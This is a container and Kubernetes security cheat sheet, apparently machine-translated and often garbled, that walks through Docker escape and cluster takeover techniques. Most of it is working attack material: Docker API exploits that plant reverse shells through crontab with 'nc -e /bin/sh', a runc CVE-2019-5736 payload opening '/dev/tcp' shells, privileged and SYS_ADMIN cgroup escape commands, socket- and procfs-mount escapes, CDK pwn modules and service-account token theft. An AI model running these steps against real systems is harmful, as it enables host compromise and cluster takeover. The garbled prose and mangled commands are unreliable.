12 minutes
Cloud-native security (container security Cheat Sheet)
Cloud-native security
What is cloud-native security
Cloud Native is a technology system and methodology, which consists of 2 word, cloud, and Native . Cloud indicates that the application is in the cloud, rather than the traditional data center; native Native said application from the beginning of the design that takes into account the cloud environment, native to cloud and design, on a cloud in the best condition to run, take advantage and play cloud platform’s elastic and distributed advantage.
Cloud-native representatives of technologies including containers, service mesh Service Mesh and microservices(Microservice, and immutable infrastructure, and declarative APIS).
Cloud-native security 4C
You can be layered to consider security, cloud-native security 4C, respectively, is the cloud, a cluster Cluster, the container and the code the Code is.
Image from Cisco blog
Cloud-native security model of each layer is based on the next outermost layer, the code layer to benefit from the strong Foundation layer of security, cloud, cluster, container.
You cannot pass in the code layer to solve the security issues for the base layer in the worst safety standards to provide protection.
According to different perspectives for the safety division
Build-deploy-run
• When building security(Build)
-
To the rules engine in the form of operational regulatory container image
-
Dockerfile
-
Suspicious file
-
Sensitive permissions
-
Sensitive port
-
Basic software vulnerabilities
-
Business software
-
Deployment security(Deployment)
- Kubernetes
-
The runtime security(Runtime)
- HIDS
Before and after the attack
• Before the attack : crop the attack surface, reduce the external exposure of the attack surface as used herein relates to the scene keywords: isolation
• Attacks: reducing the attack success rate this article relates to the scene keywords: reinforcement
• After the attack: to reduce the attack is successful the attacker can obtain valuable information, data and increased left the back door of the difficulty.
The container attack surface
-
Linux kernel vulnerability
-
Kernel mention the right
-
Container escape
-
-
The container itself
- CVE-2019-5736: the runc - container breakout vulnerability
- Explaining in unit42 paloaltonetworks blog
- CVE-2019-5736: the runc - container breakout vulnerability
-
Disturbing all of the programme(configuration)
- The privileges of the container or root privileges to run the container;
- Unreasonable Capability configuration permissions through the large Capability to.
Information collection of the container
To determine the current machine is a Docker container environment
• Check the PID
of the process name
If the process is the application process it is determined that the container, and if it is the init process, or the systemd process, it is not necessarily the container, of course, cannot be excluded is a container of circumstances, such as LXD
instance of the process to the /sbin/init
.
ps -p1
• Check the kernel file
Containers and virtual machines are not the same, the container and the host machine is a shared kernel, so in theory the interior of the container is not the kernel file, unless mount the host’s /boot
directory.
KERNEL_PATH=$(cat /proc/cmdline | tr ' ' '\n' | awk-F '=' '/THIS/{print $2}')
test -e $KERNEL_PATH && echo "Not Sure" || echo "Container"
Check /proc/1/cgroup
whether there is a containing docker string, and this command can get to the docker container of the uuid.
cat /proc/1/cgroup
cat /proc/1/cgroup | grep -qi docker && echo "Docker" || echo "Not Docker"
Check the root directory exists .dockerenvfile
The container is through the cgroup
resource limit, and each container will be put into a cgroup
group, if it is Docker, the cgroup namedocker-xxxx
, where xxxx
is the Docker container of the UUID. And the control is a container of resources, in essence, is the control run in the interior of the container of the process resources, so we can view the interior of the container process is of the cgroup
name to get a clue.
ls -la /.dockerenv
[[ -f /.dockerenv ]] && echo "Docker" || echo "Not Docker"
• Other way
sudo readlink /proc/1/exe
// if the return system words the IS the host machine
systemd-detect-virt-c
// returns none for the host
Container escape
-
User layer
- User improperly configured
- Danger Mount
-
Service layer: the container service itself defect(bug)
-
System layer: Linux kernel vulnerabilities
Configure improper Docker escape
Docker Remote API are not authorized to access
docker swarm
docker swarm is a docker cluster into a single virtual docker host tool, use the standard Docker API, to facilitate the docker cluster management and extended by the docker official, docker swarm is to manage docker cluster tool. Master-slave management, default by 2375 port communication. Binding a Docker Remote API services over HTTP, Python, calling the API to operate Docker in.
Vulnerability environment to build
Use vulhub build vulnerability of the environment: docker daemon api unauthorized access vulnerability
Exploit
Start a container, and mount the host /etc
folder to the container, then we will have read/write access to any files.
We can put the commands in crontab configuration file to reverse shell
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
Reverse shell exploit by injecting commands in crontab:
![] (https://res.cloudinary.com/amini/image/upload/v1647195858/1_qpgkz4.png)
Exploit a container RCE
• Get the host on all containers:
curl -i-s-X GET http://<docker_host>:PORT/containers/json
• Create a will in the container on executing exec
example
POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188
{
"AttachStdin": true,
"AttachStdout": true,
"AttachStderr": true,
"Cmd": ["cat", "/etc/passwd"],
"DetachKeys": "ctrl-p,ctrl-q",
"Privileged": true,
"Tty": true
}
bash command
curl -i-s-X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http: //<docker_host>:PORT/containers/<container_id>/exec
• Start exec
examples
POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
{
"Detach": false,
"Tty": false
}
bash command
curl-i-s-X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://<docker_host>:PORT/exec/<exec_id>/start
Exploits Two host RCE
Using the method, we feel free to start a container and the host machine’s /etc
directory to mount into the container, can be arbitrary read and write files. We can be the command to write the crontab configuration file, to bounce the shell.
import docker
client = docker. DockerClient(base_url='http://your-ip:2375/')
data = client. containers. run('alpine:latest', r"'sh-c "echo '* * * * * /usr/bin/nc-your-ip-21-e /bin/sh' >> /tmp/etc/crontabs/root" "', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
Using the cdk
(Zero Dependency Container Penetration Toolkit) for exploit
Using the cdk
directly execute the command:
./cdk run docker-api-pwn http://127.0.0.1:2375 "touch /host/tmp/docker-api-pwn"
Hanging in the host Root/to the interior of the container/host, and then execute the instruction input by the user to tamper with the host machine files, such as can write to /etc/crontab
to get the host machine.
Exploit:
CDK has three modules:
-
Evaluate: gather information inside container to find potential weakness.
-
Exploit: for container escaping, persistance and lateral movement
-
Tool: network-tools and APIs for TCP/HTTP requests, tunnels and K8s cluster management.
Docker high-risk startup parameters --privileged
privileged mode to start the container
Reason
When the operator executes docker run --privileged
, the Docker will allow the container to access the host machine on all devices, also modify the AppArmor or SELinux configuration, the container has with those that run directly on the host, the process is almost the same access permissions.
Environment to build
sudo docker run-itd --privileged ubuntu:latest /bin/bash
Exploit
- View the disk file:
fdisk-l
- create a new directory to mount:
mkdir /aa
- will be the host/dev/sda1 directory to mount to the container inside /aa:
mount /dev/sda1/aa
- can write the file for permissions or data
Use cdk
:
./cdk run mount-disk
Docker high-risk startup parameters –cap-add=SYS_ADMIN
use
Docker through the Linux namespace achieve 6 of resource isolation, including the host name, user rights, File System, Network, process number, the inter-process communication. But part of the startup parameters awarded the container permissions larger privileges, thus breaking the resource isolation boundaries.
--cap-add=SYS_ADMIN startup, allows to perform the mount privileged operations, the need to get resources to mount to use.
-- net=host boot time, bypassing the Network Namespace
--pid=host boot time, bypassing the PID Namespace
--ipc=host boot time, bypassing the IPC Namespace
Premise:
- Within the container root user
- of the container must use the
SYS_ADMIN
Linux capability to run - the container must be missing
AppArmor
configuration file, otherwise it will allow the mountsyscall
cgroup
v1 virtual file system must be read-write mounted in the interior of the container
We need a cgroup in which you can write notify_on_release
file(for enable cgroup notifications), mount the cgroup controller and create a sub-cgroup, create a /bin/sh
process and its PID is written to the cgroup. procs file sh exit after execution release_agent
file.
# On the host
docker run --rm-it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
# In the container
mkdir /tmp/cgrp && mount-t cgroup-o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed-n 's/.*\ perdir=\([^,]*\).*/\ 1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/ bin/sh' > /cmd
echo "ls > $host_path/output" >> /cmd
chmod a+x /cmd
sh-c "echo \$\$ > /tmp/cgrp/x/cgroup. procs"
View the exported file
ls /tmp/cgrp
cat /output
Danger mount the resulting Docker escape
Image from docs docker
Mount a directory (-v /:/soft(-v or –mount flag))
docker run-itd-v /dir:/dir ubuntu: 18.04 /bin/bash
Mount the Docker Socket
Escape reappearance
• First create a container and mount the /var/run/docker.sock
docker run-itd-v /var/run/docker. sock:/var/run/docker.sock ubuntu
• Within the container install Docker command-line client
apt-get update
apt-get install \
apt-transport-https \
ca-certificates \
curl \
gnupg-agent \
software-properties-common
curl-fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | apt-key add -
apt-key fingerprint 0 EBFCD88
add-apt-repository \
"deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/ \
$(lsb_release-cs) \
stable"
apt-get update
apt-get install docker-ce docker-ce-cli containerd.io
• Then use the client through the Docker Socket with the Docker daemon communication, sending commands to create and run a new container, will host the root directory of the mount to the newly created inside the container
docker run-it-v /:/host ubuntu: 18.04 /bin/bash
• In the new container is executed within the chroot to the root directory of the switch to mount the host root directory.
chroot /test
Using the cdk tool to perform the command:
./cdk run docker-sock-pwn /var/run/docker. sock "touch /host/tmp/pwn-success"
Mount procfs
directory
About procfs
procfs
is a pseudo-file system, which dynamically reflects system processes and other components of the state, many of which have very sensitive to important files. Therefore, the host of the procfs
mounted to is not controlled by the container are also very dangerous, especially within the container is enabled by default root permission, and do not turn on the User Namespace when
The exploit process is relatively complex, but can be by cdk
quick use.
example:
-
The host machine to start the test container, mount the host machine procfs, try to escape the current container.
docker run-v /root/cdk:/cdk-v /proc:/mnt/host_proc –rm-it ubuntu bash
-
Execute
./cdk run mount-procfs /mnt/host_proc
“touch /tmp/exp-success” inside the container -
The
/tmp/exp-success
file appears in the host, indicating that the exp has been successfully executed, and the attacker can execute arbitrary commands on the host.
Reference: Exploit: mount procfs
mount cgroup directory
Exploit using cdk
./cdk run mount-cgroup "<shell-cmd>"
Program vulnerability to cause the Docker escape
CVE-2019-5736 runc container escape vulnerability
Vulnerability details
Docker, containerd, or other based on the runc container runtime there is a security vulnerability, an attacker through a specific container image or the exec action can get to the host runc performed when a file handle and modify off-the runc binary file, so access to the host machine as root execute permissions.
POC: CVE-2019-5736-PoC
• Modify payload
vi main.go
payload = "#!/ bin/bash \n bash-i >& /dev/tcp/[ip]/1234 0>&1"
• Compilation
CGO_ENABLED=0 GOOS=linux GOARCH=amd64
go build main.go
• Copied to the docker container execution
• Wait for victims to use docker execto connect the container
• Receive rebound shell
Docker cp
command to container escapes attack vulnerability
Vulnerability details
When the Docker host machine using the cp
command, it will call the secondary process of the docker-tar, the process is not the container, and at runtime to dynamically load some libnss.so
the library. Hackers can the container by replace libnss. so like the library, the code will be injected into the docker-tar-in. When the Docker user attempts to container a copy of the file will execute malicious code, the successful implementation of the Docker escape, to obtain host root access.
Scope of impact Docker 19.03.0
Vulnerability reference
Docker Patched in the Most Severe Copy the Vulnerability to Date With CVE-2019-14271
Docker build code execution
Vulnerability reference
CVE-2019-13139 - Docker build code execution
Kernel vulnerability to cause the Docker escape
Dirty COW vulnerability Docker escape
Vulnerability description
Dirty Cow(CVE-2016-5195 is a Linux kernel privilege escalation vulnerability, which can be implemented Docker container to escape, to get root access to the shell.
Docker host machine share the kernel, so the container needs in the presence of the dirtyCow vulnerability of the host machine inside.
Vulnerability reproduction
Environment access: git clone https://github.com/gebl/dirtycow-docker-vdso.git
Use CDK
CDK: https://github.com/cdk-team/CDK
Copied to the container in host machine
docker cp /Users/threezh1/Downloads/cdk_linux_amd64 e39eb7abd9e6:/root
Container
cd /root
mv cdk_linux_amd64 cdk
chmod 777 cdk
Common commands
# The information collected
cdk evaluate
# include all the exp
cdk run --list
# execute the specified exp
cdk run <script-name> [options]
K8s security
By cdk
evaluate the detected item, you can look at the k8s security issues.
Reference:
• https://github.com/kubernetes/dashboard
-
First through the docker-desktop install k8s, the reference: https://github.com/maguowei/k8s-docker-desktop-for-mac
-
Install k8s
kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml
-
Open local agent
kubectl proxy
-
Below the steps to obtain the token
-
Install helm
-
brew install helm
-
helm repo add stable http://mirror.azure.cn/kubernetes/charts/
-
helm repo update
-
helm install my-mysql stable/mysql
-
Create a user:
kubectl apply -f dashboard-adminuser.aml
dashboard-adminuser. yaml is as follows: apiVersion: v1 kind: ServiceAccount metadata: name: admin-user namespace: kube-system
Get token
kubectl-n kube-system describe secret $(kubectl-n kube-system get secret | grep admin-user | awk '{print $1}')
kube-proxy boundary bypass (CVE-2020-8558)
An attacker could by the same local area network under the container, or the cluster nodes access the same second-level domain under the adjacent node on the binding monitor local 127. 0. 0. 1 port TCP/UDP service, so as to get the interface information.
Image from alcide
A detailed description can reference: CVE-2020-8558: the Kubernetes local host boundaries bypass vulnerability announcement
lsof +c 15 [email protected] -sTCP:LISTEN
lsof +c 15 [email protected]
K8s Api-server
Check ENV information to determine the current container belongs to a K8s Pod, access to K8s api-server connection address and try Anonymous Login, if successful, means that you can directly through the api-server to take over the K8s cluster.
Reference: https://github.com/cdk-team/CDK/wiki/Evaluate:-K8s-API-Server
The premise is that you must k8s supports Anonymous Login, by default does not support Anonymous Login. If there is this problem, can be used cdk kcurl anonymousto initiate HTTP request.
K8s Service Account
K8s cluster to create the Pod, the inside of the container by default carry K8s Service Account authentication credentials(/run/secrets/kubernetes.io/serviceaccount/token), CDK will use the credentials attempts to authenticate K8s api-server to server and the access to the higher authority of the interface, if the execution is successful means that the account has high privileges, you can directly use the Service Account to manage K8s cluster.
Photo by Caleb Russell on Unsplash.